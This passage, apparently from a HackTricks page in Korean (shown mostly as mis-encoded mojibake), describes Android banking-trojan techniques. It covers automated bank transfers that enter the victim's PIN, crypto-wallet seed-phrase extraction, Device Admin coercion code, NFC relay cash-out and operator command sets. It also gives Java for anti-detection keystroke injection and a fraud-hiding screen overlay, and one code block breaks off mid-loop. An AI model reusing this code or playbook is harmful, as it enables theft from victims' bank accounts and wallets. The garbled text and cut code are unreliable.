  • ์ €๋Œ€์—ญํญ: ์ฃผ๊ธฐ์ ์œผ๋กœ Accessibility node tree๋ฅผ ๋คํ”„ํ•˜๊ณ , ๋ณด์ด๋Š” ํ…์ŠคํŠธ/roles/bounds๋ฅผ ์ง๋ ฌํ™”ํ•˜์—ฌ ์˜์‚ฌ-์Šคํฌ๋ฆฐ์œผ๋กœ C2์— ์ „์†กํ•œ๋‹ค(์˜ˆ: ํ•œ ๋ฒˆ ์‹คํ–‰ํ•˜๋Š” txt_screen, ์ง€์†ํ˜• screen_live ๊ฐ™์€ ๋ช…๋ น).
  • ๊ณ ์ถฉ์‹ค๋„: MediaProjection์„ ์š”์ฒญํ•˜๊ณ  ํ•„์š” ์‹œ ํ™”๋ฉด ์ „์†ก/๋…นํ™”๋ฅผ ์‹œ์ž‘ํ•œ๋‹ค(์˜ˆ: display / record ๊ฐ™์€ ๋ช…๋ น).

ATS ํ”Œ๋ ˆ์ด๋ถ (bank app automation)

JSON ์ž‘์—…์ด ์ฃผ์–ด์ง€๋ฉด, ์€ํ–‰ ์•ฑ์„ ์—ด๊ณ  Accessibility๋ฅผ ํ†ตํ•ด ํ…์ŠคํŠธ ์ฟผ๋ฆฌ์™€ ์ขŒํ‘œ ํƒญ์„ ํ˜ผํ•ฉํ•ด UI๋ฅผ ์ œ์–ดํ•˜๋ฉฐ, ์š”์ฒญ ์‹œ ํ”ผํ•ด์ž์˜ ๊ฒฐ์ œ PIN์„ ์ž…๋ ฅํ•œ๋‹ค.

์˜ˆ์‹œ ์ž‘์—…:

{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}

Example texts seen in one target flow (CZ โ†’ EN):

  • โ€œNovรก platbaโ€ โ†’ โ€œ์ƒˆ ๊ฒฐ์ œโ€
  • โ€œZadat platbuโ€ โ†’ โ€œ๊ฒฐ์ œ ์ž…๋ ฅโ€
  • โ€œNovรฝ pล™รญjemceโ€ โ†’ โ€œ์ƒˆ ์ˆ˜์‹ ์žโ€
  • โ€œDomรกcรญ ฤรญslo รบฤtuโ€ โ†’ โ€œ๊ตญ๋‚ด ๊ณ„์ขŒ ๋ฒˆํ˜ธโ€
  • โ€œDalลกรญโ€ โ†’ โ€œ๋‹ค์Œโ€
  • โ€œOdeslatโ€ โ†’ โ€œ๋ณด๋‚ด๊ธฐโ€
  • โ€œAno, pokraฤovatโ€ โ†’ โ€œ์˜ˆ, ๊ณ„์†โ€
  • โ€œZaplatitโ€ โ†’ โ€œ๊ฒฐ์ œโ€
  • โ€œHotovoโ€ โ†’ โ€œ์™„๋ฃŒโ€

Operators can also check/raise transfer limits via commands like check_limit and limit that navigate the limits UI similarly.

Crypto wallet seed extraction

Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show ์‹œ๋“œ ๋ฌธ๊ตฌ, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.

Device Admin coercion

  • Immediate lock:
dpm.lockNow();
  • ํ˜„์žฌ ์ž๊ฒฉ ์ฆ๋ช…์„ ๋งŒ๋ฃŒ์‹œ์ผœ ๋ณ€๊ฒฝ์„ ๊ฐ•์ œํ•จ (Accessibility๊ฐ€ ์ƒˆ๋กœ์šด PIN/password๋ฅผ ์บก์ฒ˜ํ•จ):
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
  • keyguard์˜ ์ƒ์ฒด์ธ์ฆ ๊ธฐ๋Šฅ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜์—ฌ ๋น„์ƒ์ฒด(๋น„-๋ฐ”์ด์˜ค๋ฉ”ํŠธ๋ฆญ) ์ž ๊ธˆ ํ•ด์ œ๋ฅผ ๊ฐ•์ œ:
dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);

Note: ๋งŽ์€ DevicePolicyManager controls๋Š” ์ตœ์‹  Android์—์„œ Device Owner/Profile Owner๋ฅผ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค; ์ผ๋ถ€ OEM ๋นŒ๋“œ๋Š” ๋А์Šจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ญ์ƒ ๋Œ€์ƒ OS/OEM์—์„œ ๊ฒ€์ฆํ•˜์„ธ์š”.

NFC relay orchestration (NFSkate)

Stage-3๋Š” ์™ธ๋ถ€ NFC-relay ๋ชจ๋“ˆ(์˜ˆ: NFSkate)์„ ์„ค์น˜ํ•˜๊ณ  ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋ฆด๋ ˆ์ด ์ค‘ ํ”ผํ•ด์ž๋ฅผ ์•ˆ๋‚ดํ•˜๊ธฐ ์œ„ํ•œ HTML ํ…œํ”Œ๋ฆฟ์„ ์ „๋‹ฌํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์˜จ๋ผ์ธ ATS์™€ ํ•จ๊ป˜ ๋น„์ ‘์ด‰ ์นด๋“œ-ํ”„๋ ˆ์ฆŒํŠธ ํ˜„๊ธˆ ์ธ์ถœ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

Background: NFSkate NFC relay.

Operator command set (sample)

  • UI/state: txt_screen, screen_live, display, record
  • Social: send_push, Facebook, WhatsApp
  • Overlays: overlay (inline HTML), block (URL), block_off, access_tint
  • Wallets: metamask, trust, blockchain, phantom
  • ATS: transfer, check_limit, limit
  • Device: lock, expire_password, disable_keyguard, home, back, recents, power, touch, swipe, keypad, tint, sound_mode, set_sound
  • Comms/Recon: update_device, send_sms, replace_buffer, get_name, add_contact
  • NFC: nfs, nfs_inject

Accessibility-driven ATS anti-detection: human-like text cadence and dual text injection (Herodotus)

์œ„ํ˜‘ ํ–‰์œ„์ž๋“ค์€ ์ ‘๊ทผ์„ฑ(Accessibility) ๊ธฐ๋ฐ˜ ์ž๋™ํ™”์™€ ๊ธฐ๋ณธ ํ–‰๋™ ์ƒ์ฒด์ธ์‹์— ๋Œ€์‘ํ•˜๋„๋ก ์กฐ์ •๋œ ์•ˆํ‹ฐ-ํƒ์ง€๋ฅผ ์ ์  ๊ฒฐํ•ฉํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ตœ๊ทผ์˜ banker/RAT๋Š” ๋‘ ๊ฐ€์ง€ ๋ณด์™„์  ํ…์ŠคํŠธ ์ „๋‹ฌ ๋ชจ๋“œ์™€ ๋ฌด์ž‘์œ„ํ™”๋œ ํƒ€์ดํ•‘ ๋ฆฌ๋“ฌ์„ ์‹œ๋ฎฌ๋ ˆ์ด์…˜ํ•˜๋Š” ์šด์˜์ž ํ† ๊ธ€์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

  • Discovery mode: ์กฐ์ž‘ ์ „์— ์…€๋ ‰ํ„ฐ์™€ bounds๋กœ ๋ณด์ด๋Š” ๋…ธ๋“œ๋ฅผ ์—ด๊ฑฐํ•˜์—ฌ ์ž…๋ ฅ์„ ์ •ํ™•ํžˆ ํƒ€๊นƒ(ID, text, contentDescription, hint, bounds).
  • Dual text injection:
  • Mode 1 โ€“ ACTION_SET_TEXT๋ฅผ ๋Œ€์ƒ ๋…ธ๋“œ์— ์ง์ ‘ ์ ์šฉ(์•ˆ์ •์ , ํ‚ค๋ณด๋“œ ์—†์Œ);
  • Mode 2 โ€“ ํด๋ฆฝ๋ณด๋“œ ์„ค์ • + ACTION_PASTE๋กœ ํฌ์ปค์Šค๋œ ๋…ธ๋“œ์— ๋ถ™์—ฌ๋„ฃ๊ธฐ(์ง์ ‘ setText๊ฐ€ ์ฐจ๋‹จ๋  ๋•Œ ์ž‘๋™).
  • Human-like cadence: ์šด์˜์ž๊ฐ€ ์ œ๊ณตํ•œ ๋ฌธ์ž์—ด์„ ๋ถ„ํ• ํ•ด ์ด๋ฒคํŠธ ์‚ฌ์ด์— ๋ฌด์ž‘์œ„ํ™”๋œ 300โ€“3000 ms ์ง€์—ฐ์œผ๋กœ ๋ฌธ์ž ๋‹จ์œ„๋กœ ์ „๋‹ฌํ•˜์—ฌ โ€œmachine-speed typingโ€ ํœด๋ฆฌ์Šคํ‹ฑ์„ ํšŒํ”ผํ•ฉ๋‹ˆ๋‹ค. ๊ตฌํ˜„์€ ACTION_SET_TEXT๋กœ ๊ฐ’์„ ์ ์ง„์ ์œผ๋กœ ๋Š˜๋ฆฌ๊ฑฐ๋‚˜ ํ•œ ๋ฌธ์ž์”ฉ ๋ถ™์—ฌ๋„ฃ๊ธฐ๋กœ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
Java ์Šค์ผ€์น˜: ๋…ธ๋“œ ๊ฒ€์ƒ‰ + setText ๋˜๋Š” clipboard+paste๋ฅผ ํ†ตํ•œ ๋ฌธ์ž๋ณ„ ์ง€์—ฐ ์ž…๋ ฅ ```java // Enumerate nodes (HVNCA11Y-like): text, id, desc, hint, bounds void discover(AccessibilityNodeInfo r, List out){ if (r==null) return; Rect b=new Rect(); r.getBoundsInScreen(b); CharSequence id=r.getViewIdResourceName(), txt=r.getText(), cd=r.getContentDescription(); out.add(String.format("cls=%s id=%s txt=%s desc=%s b=%s", r.getClassName(), id, txt, cd, b.toShortString())); for(int i=0;i

// Mode 1: progressively set text with randomized 300โ€“3000 ms delays void sendTextSetText(AccessibilityNodeInfo field, String s) throws InterruptedException{ String cur = โ€œโ€; for (char c: s.toCharArray()){ cur += c; Bundle b=new Bundle(); b.putCharSequence(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, cur); field.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, b); Thread.sleep(300 + new java.util.Random().nextInt(2701)); } }

// Mode 2: clipboard + paste per-char with randomized delays void sendTextPaste(AccessibilityService svc, AccessibilityNodeInfo field, String s) throws InterruptedException{ field.performAction(AccessibilityNodeInfo.ACTION_FOCUS); ClipboardManager cm=(ClipboardManager) svc.getSystemService(Context.CLIPBOARD_SERVICE); for (char c: s.toCharArray()){ cm.setPrimaryClip(ClipData.newPlainText(โ€œxโ€, Character.toString(c))); field.performAction(AccessibilityNodeInfo.ACTION_PASTE); Thread.sleep(300 + new java.util.Random().nextInt(2701)); } }

</details>

์‚ฌ๊ธฐ ์€ํ์šฉ ์ฐจ๋‹จ ์˜ค๋ฒ„๋ ˆ์ด:
- ์ „์ฒด ํ™”๋ฉด `TYPE_ACCESSIBILITY_OVERLAY`๋ฅผ ๋ Œ๋”๋งํ•˜๊ณ  ์šด์˜์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ถˆํˆฌ๋ช…๋„๋ฅผ ์ ์šฉ; ์›๊ฒฉ ์ž๋™ํ™”๊ฐ€ ๋ฐฐ๊ฒฝ์—์„œ ์ง„ํ–‰๋˜๋Š” ๋™์•ˆ ํ”ผํ•ด์ž์—๊ฒŒ๋Š” ๋ถˆํˆฌ๋ช…ํ•˜๊ฒŒ ์œ ์ง€.
- ์ผ๋ฐ˜์ ์œผ๋กœ ๋…ธ์ถœ๋˜๋Š” ๋ช…๋ น: `opacityOverlay <0..255>`, `sendOverlayLoading <html/url>`, `removeOverlay`.

์กฐ์ • ๊ฐ€๋Šฅํ•œ ์•ŒํŒŒ ๊ฐ’์„ ๊ฐ€์ง„ ์ตœ์†Œ ์˜ค๋ฒ„๋ ˆ์ด:
```java
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);

์ž์ฃผ ๊ด€์ฐฐ๋˜๋Š” ์˜คํผ๋ ˆ์ดํ„ฐ ์ œ์–ด ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ: BACK, HOME, RECENTS, CLICKTXT/CLICKDESC/CLICKELEMENT/CLICKHINT, TAP/SWIPE, NOTIFICATIONS, OPNPKG, VNC/VNCA11Y (screen sharing).

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ